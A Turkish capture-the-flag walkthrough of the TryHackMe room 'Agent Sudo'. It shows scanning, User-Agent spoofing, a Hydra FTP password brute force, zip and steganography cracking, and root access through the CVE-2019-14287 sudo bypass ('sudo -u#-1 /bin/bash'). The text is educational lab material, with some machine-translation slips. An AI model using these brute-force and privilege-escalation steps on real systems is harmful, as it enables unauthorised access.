TRYHACKME ÜZERİNDE AJAN SUDO

Yeni başlayanlardaki zorlu oda, Tryhackme'deki Agent sudo yolunda

Laboratuvar oldukça yavaş, bu yüzden bağlantı noktası taramasını beklememiz gerekiyor.

Öyleyse başlayalım öğrenecek çok şey var.

A) Önce NMAP yapacağız

nmap -sV -sC -A 10.10.111.153

      
                

                    
                    
                
            

bu yüzden 80 numaralı bağlantı noktasında Http'de hangi web sayfasının çalıştığına bakıyoruz

Bu sayfayı atlamak için User-agent'ı değiştir diyor, ne yapabiliriz?

Proxy aracı 'Burpsuite' kullanıyoruz, nedir bu? Sızma testi için kullanılan araç.

İsteği durdurmak için geğirmeyi kullanın Şimdi kullanıcı aracısını C olarak değiştirin

User-agent olarak ayarlandığında , şu mesajı görebileceğimiz yere Cyönlendiriliriz :http://10.10.111.153/agent_C_attention.php

Sistemin kullanıcısının “chris” olması gerektiğini varsaydım .

peki burada ne yapabiliriz?

Artık kullanıcı adının chris olduğunu biliyoruz, böylece kullanıcı FTP kimlik bilgilerini almak için kaba kuvvet uygulamak için 'Hydra'yı kullanabiliriz.

yazın

hydra -l chris -P /usr/share/wordlists/rockyou.txt ftp://10.10.111.153

      
                

                    
                    
                
            

FTP Kimlik Bilgilerini kullanarak oturum açın

ftp 10.10.111.153

      
                

                    
                    
                
            

Görüntünün meta verilerini almak için Exiftool veya steghide aracını kullanabiliriz.

Şimdi dosyaları gözden geçirin ve cutie.png'de bir şey bulduk

binwalk -e cutie.png

      
                

                    
                    
                
            

Şimdi 8702.zip dosyasının şifresini kırmamız gerekiyor.

zip2john 8702.zip > out.txt
jonh --wordlist=/usr/share/wordlists/rockyou.txt out.txt

      
                

                    
                    
                
            

Şimdi içeriği çıkarın

7z e 8702.zip

      
                

                    
                    
                
            

cat To_agentR.txt

      
                

                    
                    
                
            

echo "QXJlYTUx" | base64 -d

Şimdi metni veya dosyayı cute-alien.jpg dosyasından çıkaralım

steghide extract -sf cute-alien.jpg
# Enter Area51 as passphrase
cat message.txt

      
                

                    
                    
                
            

Sonraki adım, SSH kimlik bilgilerini kullanarak oturum açmaya çalışmaktır.

ssh [email protected]

Kullanıcı bayrağımız var!

yazarak Alien autospy.jpg dosyasını almaya çalışıyoruz

sudo scp [email protected]:Alien_autospy.jpg

Kök bayrağını almak için hangi izinlere veya ayrıcalıklara sahip olduğumuzu kontrol etmemiz gerekir.

Bu biraz daha zor. Önce komutu yazın.

sudo -l

      
                

                    
                    
                
            

CVE-2019–14287

Ayrıcalıkları artırın

sudo -u#-1 /bin/bash

      
                

                    
                    
                
            

Şimdi tüm Cevaplarımızı aldık, hadi gönderelim ve CTF'mizi başarıyla tamamladık !!

Denemeye Devam Et, Çalışmaya Devam :)

Okuduğunuz için teşekkürler!!

Mutlu Hackler GUYS

Author: Xploit Ayush